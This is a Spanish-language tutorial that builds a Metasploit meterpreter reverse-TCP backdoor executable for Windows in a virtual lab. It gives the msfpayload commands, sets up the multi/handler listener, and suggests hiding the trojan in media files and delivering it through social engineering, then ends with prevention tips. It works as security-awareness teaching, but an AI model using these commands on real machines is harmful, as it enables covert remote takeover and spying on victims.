Backdoor

ejecutable en sistemas
Windows con
Metasploit.
Marco Antonio Álvarez Murillo.
Backdoor ejecutable con Metasploit.

Introducción.

El espionaje informático utiliza técnicas encubiertas en conjunto con diferentes

herramientas que permiten la infiltración y penetración en medios digitales, el
objetivo se basa en obtener información confidencial de los usuarios. La
finalidad de este documento es concienciar a los ciudadanos sobre la relativa
facilidad con la que se puede realizar un ataque a sistemas Microsoft (sistemas con
mayor uso en el mundo) , a su vez, dar una perspectiva de prevención ante la descarga
de archivos aparentemente inofensivos en las plataformas Windows.

Se autoriza la utilización de este documento solo con fines educativos, el autor no

se hace responsable del mal uso por parte de terceros que puedan dar al presente
escrito.

Conceptos básicos en Seguridad Informática.

Vulnerabilidad de Seguridad Informática.

Defecto o debilidad en el diseño, implementación, operación o gestión de un
sistema, que puede ser utilizado para infringir la seguridad del sistema.

Política de seguridad informática.

Reglas que definen y regularizan los servicios de seguridad de una
organización, con el fin de proteger los recursos de un sistema.

Ataque informático.
Violación intencionada en la política de seguridad.
Amenaza informática
Acción o evento que puede causar algún daño en la seguridad del sistema.

Malware.
Programa informático que se implementa para infiltrar o dañar un sistema sin
la aprobación ni conocimiento de su propietario. Se puede definir tres
grandes categorías: malware de propagación automática, malware oculto y
malware lucrativo.

Malware de propagación automática.

Su finalidad es esparcirse automáticamente infectando diferentes
sistemas de información .

Malware oculto
Se caracteriza por permanecer desapercibido para el usuario en el
sistema infectado. Se clasifican en Rootkits, Troyanos y Backdoors.
Malware lucrativo
Software que proporciona algún beneficio a los atacantes.

Ingeniería Social.
Secuencia de acciones para cometer un fraude o acceso no autorizado en los
sistemas, para lo cual, utilizan la manipulación psicológica de las personas.

Exploit.
Programa informático, fragmento de datos o secuencia de comandos que se
utilizan con la finalidad de utilizar una vulnerabilidad en la seguridad.
Payload.
Software que permite utilizar funciones antes un error que previamente ha sido
vulnerado por un Exploit.

Concepto de Backdoor.

En inglés, Backdoor significa puerta trasera. Se trata de un software que contiene

código para evitar la seguridad en la autenticación de un sistema y permanecer
oculto para los administradores, así que, una vez instalado en un ordenador se
encarga de modificar el sistema -procesos, servicios...- con la finalidad de siempre
estar disponible. Dicho programa, deja un puerto de comunicación abierto, que en lo
posterior, cualquier persona u organización interesada -incluye los gobiernos-
puedan utilizar sin la autorización por parte del propietario del sistema. Este tipo de
ataques se utiliza principalmente en el espionaje.

Definición de Metasploit.

Es un Framework de open source desarrollado para las auditorías y seguridad

informática, el cual, permite realizar test de penetración ejecutando Exploit a equipos
remotos, además, proporciona información a cerca de las vulnerabilidades de
seguridad y detección de sistemas intrusos.

Arquitectura de Metasploit.
Los módulos a tratar en este documento son:
Modulo Exploits: contiene los Exploits disponibles en el Framework para conseguir
acceso a los diferentes Sistemas Operativos.
Modulo Payloads: proporciona códigos malicioso que se puede ejecutar cuando se
realiza un Exploit con éxito.
 Figura 1. Fuente: http://www.metasploit.com/
Ejemplo : Creación de un Backdoor ejecutable para Windows con
Metasploit.

Herramientas utilizadas:
Virtual Box
Kali Linux.
Windows 7 .

Para realizar la prueba de penetración, el usuario ejecuta Virtual Box (o cualquier

sistema de virtualización).
Pulsar en cada uno de los Sistema Operativos a utilizar y posteriormente en el botón
iniciar. Para la práctica se se necesita las plataformas Kali Linux y Windows 7.

Figura 2. Iniciar Sistemas Operativos con Virtual Box.

Se puede crear un Backdoor para ejecutarse en Windows (archivobackdoor.exe), para
lo cual se utiliza el comando msfpayload:

msfpayload windows/meterpreter/reverse_tcp LHOST=IPequipoAtaca

LPort=PuertoEscucha x>/Path/archivobackdoor.exe.

IpequipoaAtaca: dirección IP del ordenador desde el cual se va a realizar el ataque, en

este ejemplo es: 192.168.1.43.

PuertoEscucha: puerto por donde escucha el ordenador atacante, se puede utilizar un

puerto > 1024, por defecto se utiliza el 4444.

Para obtener la IP del ordenador atacante se puede utilizar el comando ifconfig en la

terminal Linux, e ipconfig en la consola Windows.

Comando msfpayload.
Abrir una terminal en Kali Linux y ejecutar:

root@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=

192.168.1.43 LPort=4444 x>/home/troyano.exe

El comando descrito crea un archivo ejecutable llamado troyano.es, la dirección IP

192.168.1.43 pertenece al equipo que ejecuta la instrucción, el puerto 4444 se
encarga de esperar la conexión cuando se ejecute el Bakcdoor troyano.exe en la
máquina víctima.

La salida de este comando es la que se muestra en la figura 3.

 Figura 3: Comando msfpayload

Se puede observar que se crea el fichero el troyano.exe con éxito, ahora bien, con la
finalidad de no ser detectado por los antivirus se utiliza métodos para ocultar los
troyanos en otros ficheros, por consiguiente, los archivos que más se utilizan son:
imágenes, audio, vídeo y archivos comprimidos, una vez realizada esta labor, se
envían a través de los medios de comunicación digital (correo electrónico, redes
sociales, streaming, VoIP..) y, con la utilización de técnicas de Ingeniería Social se
logra engañar al usuario para que ejecute el archivo

Abrir el Framework Metasploit, o desde la terminal con el comando msfconsole.

Figura 4 Metasploit Framework.

La figura 5 muestra la ventana con la consola de Metasploit

Figura 5. Consola de Metasploit

Ahora se comienza a espiar el ordenador infectado con las siguientes instrucciones:

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options (Permite una visualización de las opciones a
realizar)

Figura 6. Utilización del exploit y show options.

En la figura 6, se puede apreciar que LHOST necesita una dirección IP desde donde
se ha creado el exploit, por tanto, se debe especificar IP del equipo atacante (para
esta práctica se utiliza la IP 192.168.1.43)

msf exploit(handler) > set Lhost 192.168.1.43

Lhost => 192.168.1.43

Figura 7. Comando set lhost.

Se especifica nuevamente la instrucción show options para asegurar que los cambios
son satisfactorios, si es así, se procede con la instrucción exploit.

Figura 8. Comando show options y exploit.

Se puede apreciar en la figura 8, que el ordenador desde el cual se realiza el ataque

se queda en modo escucha hasta recibir datos por parte del Backdoor, cuando se
ejecuta este programa en el equipo víctima, se recibe información que permite
acceder y tomar el control total del sistema como se observa en la figura 9:

El equipo remoto esta conectado con una dirección IP 192.168.1.35.

Al ejecutar el comando shell, se pasa a tomar desde la consola de Windows del

ordenador atacado.

Figura 8. Control del sistema Windows.

Mecanismos de Prevención.
Mantener todos el sistema actualizados (Sistemas Operativos,
Aplicaciones,Servidores, Antivirus, Anti-Malware..).

Impedir descargas de fuentes que no sean fiables, a su vez, ignorar todos loas
archivos que provengan de remitentes desconocidos.

Verificar la autenticidad del código que se va a ejecutar, mediante la utilización de las

firmas digitales.
Instalar aplicaciones capaz de detectar y aislar código malicioso (Antivirus, Anti-
Malware...).
Tener configurado correctamente un sistema cortafuegos.

Conclusión.

El abordar los problemas de detección de ataques ha dado lugar a numerosas

propuestas y soluciones a cerca de auditoría y seguridad informática. Los
mecanismos de protección prevención y detección se utilizan para proteger sus
recursos en la red, sin embargo, en la actualidad no existe ningún sistema que genere
una confianza al cien por cien en materia de de seguridad informática, por tanto, se
debe implementar una política de seguridad eficiente para la protección de la
información tanto a nivel particular como empresarial sino se desea tener
consecuencias inesperadas.